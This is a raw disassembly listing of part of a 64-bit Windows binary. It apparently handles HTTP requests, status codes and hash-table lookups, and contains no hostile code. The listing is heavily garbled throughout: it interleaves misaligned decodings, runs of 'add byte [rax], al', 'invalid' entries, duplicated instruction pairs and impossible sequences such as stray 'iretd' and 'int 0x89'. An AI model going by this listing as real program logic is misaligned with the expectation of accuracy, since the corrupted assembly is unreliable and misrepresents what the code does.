xchg esp, eax
and al, 0xa8
add al, byte [rax]
add byte [rax - 0x77], cl
mov word [rax + rsi*4], fs
add al, byte [rax]
add byte [rdi], cl
mov bh, 0x78
and byte [rbx + 0xf442248], cl
mov bh, 0x48
shl r9, 0x20
xor edx, edx
mov qword [rsp + 0x2a8], rdx
mov qword [rsp + 0x2b0], rcx
movzx edi, word [rax + 0x20]
mov ecx, dword [rax + 0x22]
movzx r9d, word [rax + 0x26]
shl r9, 0x20
or r9, rcx
mov r12, qword [rax + 0x28]
mov r11, qword [rax + 0x30]
mov r10, qword [rax + 0x38]
movzx r8d, byte [rax + 0x40]
movzx edx, byte [rax + 0x41]
mov ecx, dword [rax + 0x42]
movzx eax, word [rax + 0x46]
shl rax, 0x20
or rax, rcx
or eax, ecx
mov rbp, qword [rsp + 0x518]
mov rbx, qword [rsp + 0x500]
mov r14, qword [rsp + 0x508]
mov rsi, qword [rsp + 0x510]
mov qword [rsp + 0x428], rax
mov qword [rsp + 0x400], rax
mov qword [rsp + 0x418], r10
mov qword [rsp + 0x410], r11
mov rax, r11
mov qword [rsp + 0x408], r12
mov byte [rsp + 0x92], r8b
xchg edx, eax
add byte [rax], al
add byte [rbp - 0x77], al
ret
mov qword [rsp + 0x420], r9
mov rcx, r9
mov ecx, ecx
xchg edx, eax
add byte [rax], al
add byte [rbp - 0x77], al
ret
mov ecx, ecx
mov r9, r14
mov r14, rcx
mov byte [rsp + 0x93], dl
mov r15d, edx
xlatb
xlatb
mov dword [rsp + 0x274], edi
mov ecx, edi
mov rdi, rax
mov edi, eax
mov edi, eax
mov qword [rsp + 0x3f8], rbp
mov word [rsp + 0xc0], cx
mov dword [rsp + 0xc2], r14d
mov dword [rsp + 0xc2], esi
lodsb al, byte [rsi]
and al, 0xf8
add eax, dword [rax]
add byte [rsi - 0x77], ah
mov word [rax + rax*8], fs
add byte [rax], al
add byte [rcx + rcx*4 - 0x4c], al
mov dword [rsp + 0xc2], esi
mov rax, r14
mov dword [rsp + 0xc2], esi
mov rax, r14
shr rax, 0x20
mov word [rsp + 0xc6], ax
mov dword [rsp + 0xc6], eax
mov dword [rsp + 0xc6], eax
add byte [rcx + rcx*4 - 0x5c], cl
and al, 0xc8
add byte [rax], al
add byte [rax - 0x77], cl
mov esp, 0xd024
add byte [rcx + rcx*4 - 0x6c], cl
mov qword [rsp + 0xc8], r12
mov qword [rsp + 0xd0], rdi
mov qword [rsp + 0xd8], r10
and al, 0xd8
add byte [rax], al
invalid
and al, 0xd8
add byte [rax], al
add byte [rax + rcx*4 - 0x64], al
mov byte [rsp + 0xe0], r11b
mov byte [rsp + 0xe1], r15b
invalid
invalid
test byte [rax + rax], ah
add al, 0
invalid
mov byte [rsp + 0xe0], r11b
mov byte [rsp + 0xe1], r15b
mov rax, qword [rsp + 0x400]
add byte [rax], al
add byte [rcx + 0xe22484], cl
add byte [rax], al
mov dword [rsp + 0xe2], eax
shr rax, 0x20
mov word [rsp + 0xe6], ax
mov rax, qword [rsp + 0x480]
cmp rax, 5
je 0x14002b4a5
mov qword [rsp + 0x268], r10
cmp eax, 4
mov qword [rsp + 0x440], r9
and al, 0x40
add al, 0
add byte [rax + rcx*4 + 0x5c], al
and al, 0x4f
invalid
and al, 0x40
add al, 0
add byte [rax + rcx*4 + 0x5c], al
and al, 0x4f
invalid
jae case.default.0x140028a89
jae case.default.0x140028a89
lea rcx, [0x140176358]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rcx, qword [rsp + 0x488]
mov ecx, dword [rsp + 0x488]
jmp 0x140028c13
mov r13, r14
cmc
mov rbp, rdi
mov r14, rsi
test byte [rdi], 0xb6
test byte [rax + rcx*8], ah
add al, 0
add byte [rbp - 0x370101b8], cl
test byte [rdi], 0xb6
test byte [rax + rcx*8], ah
add al, 0
add byte [rbp - 0x370101b8], cl
cmp cl, 6
movzx eax, al
mov ecx, 0
add byte [rax], al
add byte [rdi], cl
sar dword [r14 + 7], 0xf
mov dh, 0xc0
add byte [rax], al
add byte [rdi], cl
sar dword [r14 + 7], 0xf
mov dh, 0xc0
lea rcx, [0x14017633c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rdi, rbx
cmp qword [rsp + 0x488], 0
je 0x14002974d
mov rbx, qword [rsp + 0x490]
mov rsi, qword [rsp + 0x498]
test r11b, r11b
jne 0x140028c80
pushfq
and al, 0x90
add al, 0
add byte [rax - 0x75], cl
mov ah, 0x24
cwde
add al, 0
add byte [rbp - 0x7c], al
fisttp dword [rdi]
test dword [rcx + 1], edi
add byte [rax], al
jmp 0x140028cd5
cmp rdi, 0xb
je 0x140028e20
cmp rdi, 1
jne case.0x14001a8c7.327
cmp byte [r12], 0x2f
sete al
mov ecx, 4
add al, 0
add byte [rax], al
add al, 0
add byte [rax], al
jmp 0x140028e70
mov eax, 2
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x3f8]
cmp al, 1
je 0x140028eda
movzx eax, al
cmp eax, 2
jne 0x140028f7a
mov edx, 3
jmp case.0x1400288fa.85
cmp rdi, 5
je 0x140028ee4
add byte [rax], al
add byte [rax], al
cmp rdi, 4
jne 0x140028f70
cmp dword [r12], 0x70747468
sete cl
mov eax, 6
invalid
add byte [rax], al
invalid
jo 0x140028b8e
xchg esp, eax
sar dword [rax + 6], 0x48
invalid
add byte [rax], al
invalid
invalid
invalid
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x50], eax
test cl, cl
jne 0x140029746
mov bl, 0xb
add byte [rax], al
test dword [rbx + 0x4800000b], esi
mov dword [rsp + 0xa8], ecx
add byte [rax], al
mov bl, 0xb
add byte [rax], al
mov qword [rsp + 0xa8], rcx
add byte [rax], al
mov dword [rsp + 0xbc], 0
mov esp, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add cl, ch
jmp 0x140028f91
out 3, al
add byte [rax], al
mov qword [rsp + 0x50], r8
and al, 0x50
jmp 0x140028f7a
mov cl, 2
jmp 0x140028f7c
add byte [rdi], cl
mov bh, 0xc1
movzx eax, cx
mov ecx, 8
mov qword [rsp + 0x50], rcx
xor ecx, ecx
cmp eax, 0x12f
jle 0x140028c34
cmp eax, 0x193
jg 0x1400293d5
invalid
clc
invalid
add byte [rax], al
invalid
cmp eax, 0x130
je 0x14002978b
add byte [rdi], cl
test byte [rbx + 0x3d00000b], ah
nop
add dword [rax], eax
add byte [rax], al
jne 0x140028f7c
mov edx, 0xc
cmp eax, 0x190
add byte [rax], al
jne 0x140028f7c
mov edx, 0xc
jmp case.0x1400288fa.85
add byte [rax], al
mov rcx, qword [rsp + 0x488]
jmp case.0x14002aa4e.24
mov rcx, qword [rsp + 0x490]
add byte [rax - 0x7d], cl
sar dword [rsi], 0x45
test bl, bl
add rcx, 0x3e
test r11b, r11b
setne r9b
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
mov rdx, r12
mov r8, rdi
call fcn.14002c140
adc dword [0x160eb8c31], esi
add dword [rax], eax
invalid
adc dword [0x160eb8c31], esi
add dword [rax], eax
add byte [0x140028d01], bh
cmp eax, 0xc8
je case.0x14002830c.92
cmp eax, 0xcc
je 0x140029799
cmp eax, 0xce
jne 0x140028f7c
mov edx, 0xa
jmp case.0x1400288fa.85
mov rdi, rbx
mov esi, 5
lea rbx, [0x140116c04]
test r11b, r11b
je 0x140028cd5
nop word cs:[rax + rax]
nop word cs:[rax + rax]
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x140028ca8
mov edx, 1
add byte [rax], al
lea rcx, [rsp + 0x58]
call fcn.140012910
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], 0x10
inc rax
mov qword [rsp + 0x80], rax
cmp rax, rcx
jbe 0x140028d1a
jmp case.default.0x14002aa01
mov rdi, rbx
lea rbx, [0x140116bf6]
test r11b, r11b
jne 0x140028c80
mov rax, qword [rsp + 0x60]
mov eax, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x140028cfd
mov edx, 1
lea rcx, [rsp + 0x58]
call fcn.140012910
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], 0
inc rax
mov qword [rsp + 0x80], rax
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax + 0x39], cl
enter 0xffffffffffff870f, 0xffffffffffffffb8
add byte es:[rax], al
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax + 0x39], cl
enter 0xffffffffffff870f, 0xffffffffffffffb8
add byte es:[rax], al
mov qword [rsp + 0x60], rax
mov rcx, rbx
mov rdx, rsi
lea rsi, [rsp + 0x58]
and al, 0x58
and al, 0x58
mov r8, rsi
call fcn.14002c430
mov rcx, r12
mov rdx, rbp
mov r8, rsi
call fcn.14002c430
add byte [rax], al
add byte [rax], al
mov rbx, rdi
sti
mov rdi, rbp
mov rsi, r14
mov r14, r13
lea r13, [rsp + 0x160]
mov rax, qword [rsp + 0xc0]
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rax], al
invalid
invalid
xchg esp, eax
add byte [rax], al
mov rdx, qword [rsp + 0xc8]
mov r8, qword [rsp + 0xd0]
lea rcx, [rsp + 0xd8]
add byte [rax], al
and al, 0xc8
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xd0
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rbx*8], fs
add byte [rax], al
invalid
add byte [rax], al
add bh, bh
push rax
adc byte [rdi], cl
mov dh, 0x84
and al, 0xf0
call qword [rax + 0x10]
movzx eax, byte [rsp + 0x2f0]
add al, byte [rax]
add byte [rax - 0x7d], cl
clc
or al, 0xf
test dword [rdi - 0xc], esi
invalid
invalid
add al, byte [rax]
add byte [rax - 0x7d], cl
clc
or al, 0xf
test dword [rdi - 0xc], esi
invalid
jmp 0x1400285d2
mov rdi, rbx
mov edi, ebx
fisttp word [rax - 0x73]
sbb eax, 0xede65
lea rbx, [0x140116bfd]
test r11b, r11b
jne 0x140028c80
jmp 0x140028cd5
mov rdi, rbx
mov esi, 0xa
add byte [rax], al
add byte [rax], al
lea rbx, [0x140116bec]
test r11b, r11b
jne 0x140028c80
jmp 0x140028cd5
mov rdi, rbx
mov esi, 9
lea rbx, [0x140116c09]
test r11b, r11b
jne 0x140028c80
jmp 0x140028cd5
invalid
mov rdi, rbx
lea rbx, [0x140116c12]
test r11b, r11b
jne 0x140028c80
jmp 0x140028cd5
cmp r12b, 0x4c
ja case.0x140028e14.5
cld
ja case.0x140028e14.5
movzx eax, r12b
lea rcx, [0x140176150]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov eax, 0x13
jmp 0x140028f75
mov rax, qword [r12]
bswap rax
movabs rcx, 0x2f696e6465782e68
mov rdx, rcx
cmp rax, rcx
imul ebp, dword [rdi], 0x48ca8948
cmp eax, ecx
jne 0x140028e55
mov rax, qword [r12 + 3]
bswap rax
xor ecx, ecx
movabs r8, 0x6465782e68746d6c
mov rdx, r8
cmp rax, r8
je 0x140028e62
cmp rax, rdx
mov ecx, 0
sbb ecx, ecx
or ecx, 1
xor eax, eax
test ecx, ecx
sete al
mov rcx, rax
or rcx, 4
xor edx, edx
test al, al
sete dl
mov qword [rsp + 0xc8], rcx
mov rax, qword [rsp + 0x158]
lea rcx, [rsp + 0xd0]
mov qword [rcx + 0x40], rax
movups xmm0, xmmword [rsp + 0x118]
movups xmm1, xmmword [rsp + 0x128]
movups xmm2, xmmword [rsp + 0x138]
movups xmm3, xmmword [rsp + 0x148]
movups xmmword [rcx + 0x30], xmm3
movups xmmword [rcx + 0x20], xmm2
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
mov qword [rsp + 0xc0], rdx
xchg esp, eax
and al, 0xc0
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x14d407
xchg esp, eax
and al, 0xc0
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x14d407
movsxd rax, dword [rcx + rdx*4]
add rax, rcx
jmp rax
mov edx, 2
jmp case.0x1400288fa.85
mov eax, dword [r12]
bswap eax
cmp eax, 0x68747470
jne 0x140029721
invalid
movzx eax, byte [r12 + 4]
add eax, 0xffffff8d
jmp 0x14002972b
mov eax, 1
mov ecx, 4
mov qword [rsp + 0xc8], rcx
mov rcx, qword [rsp + 0x158]
lea rdx, [rsp + 0xd0]
rol byte [rax], 1
add byte [rax], al
mov qword [rdx + 0x40], rcx
movups xmm0, xmmword [rsp + 0x118]
movups xmm1, xmmword [rsp + 0x128]
movups xmm2, xmmword [rsp + 0x138]
xchg esp, eax
and al, 0x38
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x148], bl
xchg esp, eax
and al, 0x38
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x148], bl
movups xmmword [rdx + 0x30], xmm3
movups xmmword [rdx + 0x20], xmm2
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx], xmm0
mov qword [rsp + 0xc0], rax
lea rcx, [0x1401762d8]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov eax, 6
mov qword [rsp + 0x50], rax
xor ecx, ecx
mov qword [rsp + 0xa8], rcx
cmp cl, 2
sete al
mov dword [rsp + 0xbc], eax
lea rcx, [rsp + 0x118]
call fcn.14001d870
shl rax, 2
mov rcx, qword [rsp + 0x88]
mov rsi, qword [rcx + 0x68]
lea rcx, [rsi + rsi*2]
cmp rax, rcx
jbe 0x140029030
cmp byte [rsp + 0xbc], 0
je case.default.0x140029023
mov rax, qword [rsp + 0x158]
lea rcx, [rsp + 0xc8]
mov qword [rcx + 0x40], rax
movups xmm0, xmmword [rsp + 0x118]
movups xmm1, xmmword [rsp + 0x128]
movups xmm2, xmmword [rsp + 0x138]
movups xmm3, xmmword [rsp + 0x148]
movups xmmword [rcx + 0x30], xmm3
movups xmmword [rcx + 0x20], xmm2
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
mov eax, 4
mov qword [rsp + 0xc0], rax
add byte [rax], al
add byte [rax], al
lea rcx, [0x1401762d8]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov qword [rsp + 0x280], rbx
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x3e0], rax
movups xmm0, xmmword [rsp + 0x118]
movups xmm1, xmmword [rsp + 0x128]
movups xmm2, xmmword [rsp + 0x138]
movups xmm3, xmmword [rsp + 0x148]
movaps xmmword [rsp + 0x3d0], xmm3
movaps xmmword [rsp + 0x3c0], xmm2
movaps xmmword [rsp + 0x3b0], xmm1
movaps xmmword [rsp + 0x3a0], xmm0
lea rcx, [rsp + 0x3a0]
call fcn.14001d870
mov rcx, qword [rsp + 0x88]
mov rcx, qword [rcx + 0x60]
mov qword [rsp + 0x4f8], rcx
add rax, rcx
cmp rax, rsi
mov qword [rsp + 0x260], r12
invalid
add al, byte [rax]
add byte [rdi], cl
sub dword [rax], 1
add byte [rax], al
invalid
mov rax, qword [rsp + 0x88]
mov rbx, qword [rax + 0x28]
pop rax
invalid
pop rax
sub byte [rbx + rcx*4 + 0x44], cl
and al, 0x50
mov r8, qword [rsp + 0x50]
mov rax, qword [rsp + 0x88]
mov rax, qword [rax + 0x48]
mov rcx, rbx
and al, 0x88
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, rbx
shr rcx, 2
mov rdx, rbx
sub rdx, rcx
cmp rax, rdx
jne 0x140029210
test rax, rax
je 0x140029251
mov rbp, r14
lea r12, [rbx + rbx]
mov rax, qword [rsp + 0x88]
mov rsi, qword [rax + 0x20]
mov eax, 8
test rbx, rbx
je 0x140029529
mov rcx, qword [rsp + 0x88]
mov rcx, qword [rcx + 0x50]
lea rdx, [rbx*8]
lea rdx, [rdx + rdx*2]
xor r8d, r8d
xor r14d, r14d
jmp 0x140029150
add r8, 0x18
inc r14
cmp rdx, r8
je 0x140029440
cmp qword [rsi + r8], 0
je 0x140029140
mov r9, qword [rsi + r8 + 0x10]
and r9, rcx
mov r10, r14
sub r10, r9
test r10, rcx
jne 0x140029140
test r12, r12
jne 0x14002944c
jmp 0x14002952c
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0xc8], rax
mov rax, qword [rsp + 0x158]
lea rcx, [rsp + 0xd0]
mov qword [rcx + 0x40], rax
movups xmm0, xmmword [rsp + 0x118]
movups xmm1, xmmword [rsp + 0x128]
movups xmm2, xmmword [rsp + 0x138]
movups xmm3, xmmword [rsp + 0x148]
movups xmmword [rcx + 0x30], xmm3
movups xmmword [rcx + 0x20], xmm2
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
mov eax, 1
mov qword [rsp + 0xc0], rax
lea rcx, [0x1401762d8]
add byte [rax + 0x63], cl
add al, 0x81
add byte [rax + 0x63], cl
add al, 0x81
add rax, rcx
jmp rax
movzx eax, byte [rsp + 0x3e0]
mov rcx, qword [rsp + 0x88]
mov rbx, qword [rcx + 0x28]
pop rcx
sub byte [rax + rax*8 - 0x1377bf1], al
invalid
invalid
pop rcx
sub byte [rax + rax*8 - 0x1377bf1], al
invalid
or al, 0xf8
cmp al, 0xfa
mov r8, qword [rsp + 0x50]
jae 0x1400290ce
test rbx, rbx
je 0x1400295ab
movzx eax, byte [rsp + 0x3e0]
lea ecx, [rax - 2]
dec al
cmp cl, 6
movzx eax, al
mov ecx, 0
cmovae eax, ecx
movzx ecx, al
lea rdx, [0x140176284]
movsxd rcx, dword [rdx + rcx*4]
invalid
or al, 0x8a
add rcx, rdx
movabs r8, 0x89cd31291d2aefa4
jmp rcx
invalid
mov rax, qword [rsp + 0x88]
mov qword [rax + 0x50], 7
movzx eax, byte [0x140182310]
mov edx, 0xc0
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x14002b5ba
invalid
invalid
and eax, dword [rax]
invalid
test byte [0x1880292a1], bh
mov esi, eax
mov rsi, rax
mov qword [rax], 0
mov qword [rax + 0x18], 0
mov qword [rax + 0x30], 0
mov qword [rax + 0x48], 0
mov dword [rax + 0x48], 0
sbb byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
xor byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rax + 0x48], 0
mov dword [rax + 0x48], 0
mov qword [rax + 0x60], 0
add byte [rax], al
mov qword [rax + 0x78], 0
mov qword [rax + 0x90], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rax + 0xa8], 0
add byte [rax], al
mov rax, qword [rsp + 0x398]
cmp qword [rax], 0
je case.default.0x140029345
invalid
sbb ecx, dword [rax - 0x75]
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rbx + rcx*4 + 0x40], cl
and byte [rax - 0x75], cl
mov rax, qword [rsp + 0x88]
mov r8, qword [rax + 0x20]
mov rcx, qword [0x140182260]
or eax, 0x158f7a
or eax, 0x158f7a
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x88]
mov qword [rax + 0x18], 8
mov qword [rax + 0x20], rsi
mov qword [rax + 0x28], 8
mov ebx, 8
movzx eax, byte [rsp + 0x3e0]
add byte [rbp - 0x370101b8], cl
add byte [rax], al
add byte [rdi], cl
mov dh, 0x84
and al, 0xe0
add eax, dword [rax]
add byte [rbp - 0x370101b8], cl
cmp cl, 6
movzx eax, al
sar byte [rcx], 0xf
ror dword [r15], 0xb6
enter 0xffffffffffff8d48, 0x15
push rax
iretd
adc al, 0
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
movabs r8, 0x89cd31291d2aefa4
int 0x89
sar byte [rcx], 0xf
ror dword [r15], 0xb6
enter 0xffffffffffff8d48, 0x15
push rax
iretd
int 0x89
jmp rcx
mov rcx, qword [rsp + 0x3a0]
xor r8d, r8d
test rcx, rcx
setne r8b
movabs rdx, 0xa8c7f832281a39c5
xor r8, rdx
movabs rdx, 0x1efac7090aef4a21
imul r8, rdx
test rcx, rcx
je 0x14002984d
mov r10, qword [rsp + 0x3b0]
add byte [rax], al
test r10, r10
je case.0x14002924f.1
mov rcx, qword [rsp + 0x3a8]
mov r11, r10
and r11, 7
je 0x140029861
mov rdx, rcx
movabs rsi, 0x100000001b3
movzx r9d, byte [rdx]
inc rdx
xor r9, r8
imul r9, rsi
mov r8, r9
dec r11
jne 0x1400293b0
cmp r10, 8
jae 0x140029877
jmp 0x1400298e8
cmp eax, 0x194
je 0x140029792
cmp eax, 0x1f4
jne 0x140028f7c
mov edx, 0xe
jmp case.0x1400288fa.85
movabs r8, 0x2cdcdc0dfc5d1141
jmp case.0x14002924f.1
movabs r8, 0xe6bd86443df8ce07
jmp case.0x14002924f.1
movabs r8, 0xc7c2bf3b330983e6
jmp case.0x14002924f.1
movabs r8, 0xde21504f16dc720
jmp case.0x14002924f.1
movabs r8, 0x6ad26a20123ba583
jmp case.0x14002924f.1
xor r14d, r14d
test r12, r12
je 0x14002952c
movabs rax, 0x555555555555556
cmp r12, rax
cmp esp, eax
jae 0x14002b5d6
ja 0x14002947e
add byte [rax], al
mov rax, rbx
shl rax, 4
lea r15, [rax + rax*2]
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, r15
call fcn.1400dfbe0
test rax, rax
je 0x14002b5c9
lea rcx, [r12 - 1]
lea r8, [r12 - 2]
mov rdx, rax
cmp r8, 7
mov r15d, dword [rsp + 0x94]
jb 0x140029502
mov r8, rcx
and r8, 0xfffffffffffffff8
mov rdx, rax
nop dword [rax]
mov qword [rdx], 0
mov qword [rdx + 0x18], 0
mov qword [rdx + 0x30], 0
mov qword [rdx + 0x48], 0
mov qword [rdx + 0x60], 0
mov qword [rdx + 0x78], 0
mov qword [rdx + 0x90], 0
mov qword [rdx + 0xa8], 0
add rdx, 0xc0
add r8, 0xfffffffffffffff8
jne 0x1400294b0
add byte [rcx - 0x7d], cl
sar al, 0x75
scasb al, byte [rdi]
and ecx, 7
nop word cs:[rax + rax]
add byte [rax - 0x39], cl
add al, byte [rax]
add byte [rax], al
add byte [rax - 0x7d], cl
mov qword [rdx], 0
add rdx, 0x18
dec rcx
jne 0x140029510
ret 0x4818
mov qword [rdx], 0
jmp 0x14002952c
xor r14d, r14d
mov r8, qword [rsp + 0x88]
mov rcx, qword [r8 + 0x18]
mov qword [r8 + 0x18], r12
mov qword [r8 + 0x20], rax
mov qword [r8 + 0x28], r12
lea rdx, [r12 - 1]
mov qword [r8 + 0x50], rdx
cmp r14, rbx
ja 0x14002b5a8
lea r8, [r14 + r14*2]
lea r8, [rsi + r8*8]
jne 0x1400296a0
mov r9, rsi
test r14, r14
mov r14, rbp
jne 0x140029668
test rcx, rcx
je 0x14002958a
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, r12
lea r13, [rsp + 0x160]
mov r12, qword [rsp + 0x260]
mov r8, qword [rsp + 0x50]
test rbx, rbx
jne 0x140029219
mov eax, 4
lea rcx, [rsp + 0xc8]
cmp byte [rsp + 0xbc], 0
jne case.default.0x140029638
mov qword [rsp + 0xc8], r8
mov eax, 1
lea rcx, [rsp + 0xd0]
mov rdx, qword [rsp + 0x3e0]
mov qword [rcx + 0x40], rdx
movaps xmm0, xmmword [rsp + 0x3a0]
movaps xmm1, xmmword [rsp + 0x3b0]
movaps xmm2, xmmword [rsp + 0x3c0]
movaps xmm3, xmmword [rsp + 0x3d0]
movups xmmword [rcx + 0x30], xmm3
movups xmmword [rcx + 0x20], xmm2
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0xc0]
lea rcx, [0x1401762d8]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov rbx, qword [rsp + 0x280]
jmp rax
lea rdi, [rax + rbx*8]
mov qword [rdi], 1
mov qword [rdi + 8], r10
mov qword [rdi + 0x10], r11
mov rdi, qword [rsp + 0xb0]
add r9, 0x18
cmp r9, r8
je 0x140029573
cmp qword [r9], 0
je 0x14002965b
mov r10, qword [r9 + 8]
mov r11, qword [r9 + 0x10]
mov rbx, r11
and rbx, rdx
nop dword [rax]
mov rdi, rbx
mov ebx, 0
cmp rdi, r12
add byte [rcx + rdi - 0x19], cl
jae 0x140029680
lea rbx, [rdi + rdi*2]
cmp qword [rax + rbx*8], 0
je 0x140029640
inc rdi
mov rbx, rdi
jmp 0x140029680
lea r9, [rbx + rbx*2]
lea r9, [rsi + r9*8]
mov r10, r8
jmp 0x1400296e0
lea rbx, [rax + r15*8]
mov qword [rbx], 1
mov qword [rbx + 8], r11
mov qword [rbx + 0x10], rdi
mov dword [rbx + 0x10], edi
mov rdi, qword [rsp + 0xb0]
mov r15d, dword [rsp + 0x94]
xchg esp, eax
add byte [rax], al
add byte [rcx - 0x7d], cl
ret 0x4d18
add r10, 0x18
cmp r10, r9
je 0x140029564
cmp qword [r10], 0
je 0x1400296d3
mov r11, qword [r10 + 8]
mov rdi, qword [r10 + 0x10]
mov r15, rdi
and r15, rdx
nop word cs:[rax + rax]
mov rbx, r15
mov r15d, 0
cmp rbx, r12
jae 0x140029700
lea r15, [rbx + rbx*2]
cmp qword [rax + r15*8], 0
je 0x1400296b0
inc rbx
mov r15, rbx
jmp 0x140029700
mov eax, 0
sbb eax, eax
or eax, 1
xor ecx, ecx
test eax, eax
sete cl
mov rax, rcx
or rax, 6
mov qword [rsp + 0x50], rax
test cl, cl
je 0x140028b93
mov rdx, qword [rsp + 0x50]
jmp case.0x1400288fa.85
movzx ecx, byte [rsp + 0x490]
mov dword [rsp + 0x94], r15d
add byte [rax], al
call fcn.14002e600
sahf
add byte [rax], r8b
mov rbx, rax
mov rsi, rdx
movzx r11d, byte [rsp + 0x4f]
movzx ebx, byte [rsp + 0x4f]
mov r15d, dword [rsp + 0x94]
test r11b, r11b
jne 0x140028c80
jmp 0x140028cd5
mov edx, 8
jmp case.0x1400288fa.85
mov edx, 0xb
jmp case.0x1400288fa.85
mov edx, 0xd
jmp case.0x1400288fa.85
mov edx, 9
nop
mov rax, qword [rsp + 0x158]
lea rcx, [rsp + 0xd0]
mov qword [rcx + 0x40], rax
movups xmm0, xmmword [rsp + 0x118]
movups xmm1, xmmword [rsp + 0x128]
movups xmm2, xmmword [rsp + 0x138]
movups xmm3, xmmword [rsp + 0x148]
movups xmmword [rcx + 0x30], xmm3
movups xmmword [rcx + 0x20], xmm2
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
mov rbp, rdx
mov qword [rsp + 0xc8], rdx
mov qword [rsp + 0xc0], 0
mov rax, qword [rsp + 0x60]
mov eax, dword [rsp + 0x60]
invalid
mov eax, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov ecx, dword [rsp + 0x68]
cmp rcx, rax
jne 0x140029822
mov edx, 1
lea rcx, [rsp + 0x58]
call fcn.140012910
dec dword [rax - 0x75]
and al, 0x60
invalid
dec dword [rax - 0x75]
and al, 0x60
invalid
invalid
mov rcx, qword [rsp + 0x68]
or bpl, 0x80
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], bpl
inc rax
mov qword [rsp + 0x80], rax
cmp rax, rcx
ja case.default.0x14002aa01
mov qword [rsp + 0x60], rax
jmp 0x14002ae50
movzx ecx, byte [rsp + 0x3a8]
xor r8, rcx
imul r8, rdx
jmp case.0x14002924f.1
add byte [rax], al
mov r9, r8
mov rdx, rcx
movabs rsi, 0x100000001b3
cmp r10, 8
jb 0x1400298e8
add rcx, r10
nop word [rax + rax]
movzx r8d, byte [rdx]
xor r8, r9
imul r8, rsi
movzx r9d, byte [rdx + 1]
xor r9, r8
imul r9, rsi
movzx r8d, byte [rdx + 2]
xor r8, r9
imul r8, rsi
movzx r9d, byte [rdx + 3]
xor r9, r8
imul r9, rsi
movzx r8d, byte [rdx + 4]
xor r8, r9
imul r8, rsi
scasd eax, dword [rdi]
mov byte [rdi + rcx - 0x4a], 0x4a
add eax, 0x4cc1314d
imul ecx, esi
movzx r8d, byte [rdx + 6]
xor r8, r9
imul r8, rsi
movzx r9d, byte [rdx + 7]
add rdx, 8
xor r9, r8
imul r9, rsi
cmp rdx, rcx
jne 0x140029880
mov r8, r9
nop dword [rax + rax]
invalid
add byte [rbp + 0xf], al
mov bh, 0xc8
movzx r9d, r8w
mov rdx, qword [rsp + 0x88]
mov rsi, qword [rdx + 0x50]
mov ecx, r9d
and ecx, esi
mov r13, qword [rdx + 0x20]
mov r10, qword [rdx + 0x30]
mov r11, qword [rdx + 0x58]
pop rdx
pop rax
mov r8, qword [rdx + 0x48]
mov qword [rsp + 0x208], r8
mov r8, qword [rdx + 0x40]
mov qword [rsp + 0x450], r8
mov r12, qword [rdx + 0x38]
mov rdx, qword [rsp + 0x3a0]
mov qword [rsp + 0x298], rdx
mov rdx, qword [rsp + 0x3a8]
mov qword [rsp + 0x390], rdx
movzx edx, byte [rsp + 0x3a8]
mov byte [rsp + 0x278], dl
mov rdx, qword [rsp + 0x3b0]
mov qword [rsp + 0x290], rdx
and al, 0x90
add al, byte [rax]
invalid
and al, 0x90
add al, byte [rax]
add byte [rdi], cl
movzx eax, al
movzx eax, al
mov qword [rsp + 0x98], rax
xor edi, edi
mov qword [rsp + 0x2a0], r14
invalid
add al, byte [rax]
add bl, ch
invalid
cwde
add byte [rax], al
add byte [rcx], dh
dec dword [rcx + rcx*4 - 0x4c]
and al, 0xa0
movabs al, byte [0x4b92deb000002]
invalid
